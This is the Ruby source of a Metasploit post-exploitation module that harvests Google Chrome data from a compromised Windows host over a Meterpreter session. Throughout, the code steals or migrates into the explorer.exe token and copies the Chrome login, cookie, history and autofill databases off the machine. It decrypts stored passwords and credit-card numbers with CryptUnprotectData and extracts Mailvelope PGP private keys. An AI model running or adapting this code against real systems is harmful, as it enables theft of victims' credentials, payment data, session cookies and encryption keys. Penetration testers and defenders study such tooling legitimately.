##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Post

  include Msf::Post::File
  include Msf::Post::Windows::Priv

  def initialize(info={})
    super(update_info(info,
      'Name'                 => "Windows Gather Google Chrome User Data Enumeration",
      'Description'          => %q{
        This module will collect user data from Google Chrome and attempt to decrypt
        sensitive information.
      },
      'License'              => MSF_LICENSE,
      'Platform'             => ['win'],
      'SessionTypes'         => ['meterpreter'],
      'Author'               =>
        [
          'Sven Taute', #Original (Meterpreter script)
          'sinn3r',     #Metasploit post module
          'Kx499',      #x64 support
          'mubix'       #Parse extensions
        ]
    ))

    register_options(
      [
        OptBool.new('MIGRATE', [false, 'Automatically migrate to explorer.exe', false]),
      ], self.class)
  end

  def extension_mailvelope_parse_key(data)
    return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
  end

  def extension_mailvelope_store_key(name, value)
    return unless name =~ /(private|public)keys/i

    priv_or_pub = $1

    keys = value.split(",")
    print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
    keys.each do |key|
      key_data = extension_mailvelope_parse_key(key)
      vprint_good(key_data)
      path = store_loot(
        "chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
      print_status("==> Saving #{priv_or_pub} key to: #{path}")
    end
  end

  def extension_mailvelope(username, extname)
    chrome_path = @profiles_path + "\\" + username + @data_path
    maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
    if file_exist?(maildb_path) == false
      print_error("==> Mailvelope database not found")
      return
    end
    print_status("==> Downloading Mailvelope database...")
    local_path = store_loot("chrome.ext.mailvelope", "text/plain", session, "chrome_ext_mailvelope")
    session.fs.file.download_file(local_path, maildb_path)
    print_status("==> Downloaded to #{local_path}")

    maildb = SQLite3::Database.new(local_path)
    columns, *rows = maildb.execute2("select * from ItemTable;")
    maildb.close

    rows.each do |name, value|
      extension_mailvelope_store_key(name, value)
    end
  end



  def parse_prefs(username, filepath)
    prefs = ''
    File.open(filepath, 'rb') do |f|
      prefs = f.read
    end
    results = ActiveSupport::JSON.decode(prefs)
    print_status("Extensions installed: ")
    results['extensions']['settings'].each do |name,values|
      if values['manifest']
        print_status("=> #{values['manifest']['name']}")
        if values['manifest']['name'] =~ /mailvelope/i
          print_good("==> Found Mailvelope extension, extracting PGP keys")
          extension_mailvelope(username, name)
        end
      end
    end
  end


  def decrypt_data(data)
    rg = session.railgun
    pid = session.sys.process.open.pid
    process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)

    mem = process.memory.allocate(1024)
    process.memory.write(mem, data)

    if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86"

      addr = [mem].pack("V")
      len = [data.length].pack("V")
      ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
      len, addr = ret["pDataOut"].unpack("V2")

    else

      addr = [mem].pack("Q")
      len = [data.length].pack("Q")
      ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
      len, addr = ret["pDataOut"].unpack("Q2")

    end

    return "" if len == 0
    decrypted = process.memory.read(addr, len)
    return decrypted
  end

  def process_files(username)
    secrets = ""
    decrypt_table = Rex::Ui::Text::Table.new(
      "Header"  => "Decrypted data",
      "Indent"  => 1,
      "Columns" => ["Name", "Decrypted Data", "Origin"]
    )

    @chrome_files.each do |item|
      if item[:in_file] == "Preferences"
        parse_prefs(username, item[:raw_file])
      end

      next if item[:sql] == nil
      next if item[:raw_file] == nil

      db = SQLite3::Database.new(item[:raw_file])
      begin
        columns, *rows = db.execute2(item[:sql])
      rescue
        next
      end
      db.close

      rows.map! do |row|
        res = Hash[*columns.zip(row).flatten]
        if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"

          item[:encrypted_fields].each do |field|
            name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]
            origin = (res["label"] == nil) ? res["origin_url"] : res["label"]
            pass = res[field + "_decrypted"] = decrypt_data(res[field])
            if pass != nil and pass != ""
              decrypt_table << [name, pass, origin]
              secret = "#{name}:#{pass}..... #{origin}"
              secrets << secret << "\n"
              vprint_good("Decrypted data: #{secret}")
            end
          end
        end
      end
    end

    if secrets != ""
      path = store_loot("chrome.decrypted", "text/plain", session, decrypt_table.to_s, "decrypted_chrome_data.txt", "Decrypted Chrome Data")
      print_status("Decrypted data saved in: #{path}")
    end
  end

  def extract_data(username)
    #Prepare Chrome's path on remote machine
    chrome_path = @profiles_path + "\\" + username + @data_path
    raw_files = {}

    @chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
      remote_path = chrome_path + '\\' + f

      #Verify the path before downloading the file
      if file_exist?(remote_path) == false
        print_error("#{f} not found")
        next
      end

      # Store raw data
      local_path = store_loot("chrome.raw.#{f}", "text/plain", session, "chrome_raw_#{f}")
      raw_files[f] = local_path
      session.fs.file.download_file(local_path, remote_path)
      print_status("Downloaded #{f} to '#{local_path}'")
    end

    #Assign raw file paths to @chrome_files
    raw_files.each_pair do |raw_key, raw_path|
      @chrome_files.each do |item|
        if item[:in_file] == raw_key
          item[:raw_file] = raw_path
        end
      end
    end

    return true
  end

  def steal_token
    current_pid = session.sys.process.open.pid
    target_pid = session.sys.process["explorer.exe"]
    return if target_pid == current_pid
    if target_pid.to_s.empty?
      print_warning("No explorer.exe process to impersonate.")
      return
    end

    print_status("Impersonating token: #{target_pid}")
    begin
      session.sys.config.steal_token(target_pid)
      return true
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error("Cannot impersonate: #{e.message.to_s}")
      return false
    end
  end

  def migrate(pid=nil)
    current_pid = session.sys.process.open.pid
    if pid != nil and current_pid != pid
      #PID is specified
      target_pid = pid
      print_status("current PID is #{current_pid}. Migrating to pid #{target_pid}")
      begin
        session.core.migrate(target_pid)
      rescue ::Exception => e
        print_error(e.message)
        return false
      end
    else
      #No PID specified, assuming to migrate to explorer.exe
      target_pid = session.sys.process["explorer.exe"]
      if target_pid != current_pid
        @old_pid = current_pid
        print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
        begin
          session.core.migrate(target_pid)
        rescue ::Exception => e
          print_error(e)
          return false
        end
      end
    end
    return true
  end

  def run
    @chrome_files = [
      { :raw => "", :in_file => "Web Data", :sql => "select * from autofill;"},
      { :raw => "", :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;"},
      { :raw => "", :in_file => "Web Data", :sql => "select * from autofill_profiles;"},
      { :raw => "", :in_file => "Web Data", :sql => "select * from credit_cards;", :encrypted_fields => ["card_number_encrypted"]},
      { :raw => "", :in_file => "Cookies", :sql => "select * from cookies;"},
      { :raw => "", :in_file => "History", :sql => "select * from urls;"},
      { :raw => "", :in_file => "History", :sql => "SELECT url FROM downloads;"},
      { :raw => "", :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;"},
      { :raw => "", :in_file => "Login Data", :sql => "select * from logins;", :encrypted_fields => ["password_value"]},
      { :raw => "", :in_file => "Bookmarks", :sql => nil},
      { :raw => "", :in_file => "Preferences", :sql => nil},
    ]

    @old_pid = nil
    migrate_success = false

    # If we can impersonate a token, we use that first.
    # If we can't, we'll try to MIGRATE (more aggressive) if the user wants to
    got_token = steal_token
    if not got_token and datastore["MIGRATE"]
      migrate_success = migrate
    end

    host = session.session_host

    #Get Google Chrome user data path
    env_vars = session.sys.config.getenvs('SYSTEMDRIVE', 'USERNAME')
    sysdrive = env_vars['SYSTEMDRIVE'].strip
    if directory?("#{sysdrive}\\Users")
      @profiles_path = "#{sysdrive}/Users"
      @data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
    elsif directory?("#{sysdrive}\\Documents and Settings")
      @profiles_path = "#{sysdrive}/Documents and Settings"
      @data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
    end

    #Get user(s)
    usernames = []
    if is_system?
      print_status("Running as SYSTEM, extracting user list...")
      print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
      session.fs.dir.foreach(@profiles_path) do |u|
        not_actually_users = [
          ".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
          "LocalService", "NetworkService"
        ]
        usernames << u unless not_actually_users.include?(u)
      end
      print_status "Users found: #{usernames.join(", ")}"
    else
      uid = session.sys.config.getuid
      print_status "Running as user '#{uid}'..."
      usernames << env_vars['USERNAME'].strip
    end

    has_sqlite3 = true
    begin
      require 'sqlite3'
    rescue LoadError
      print_warning("SQLite3 is not available, and we are not able to parse the database.")
      has_sqlite3 = false
    end

    #Process files for each username
    usernames.each do |u|
      print_status("Extracting data for user '#{u}'...")
      success = extract_data(u)
      process_files(u) if success and has_sqlite3
    end

    # Migrate back to the original process
    if datastore["MIGRATE"] and @old_pid and migrate_success == true
      print_status("Migrating back...")
      migrate(@old_pid)
    end
  end

end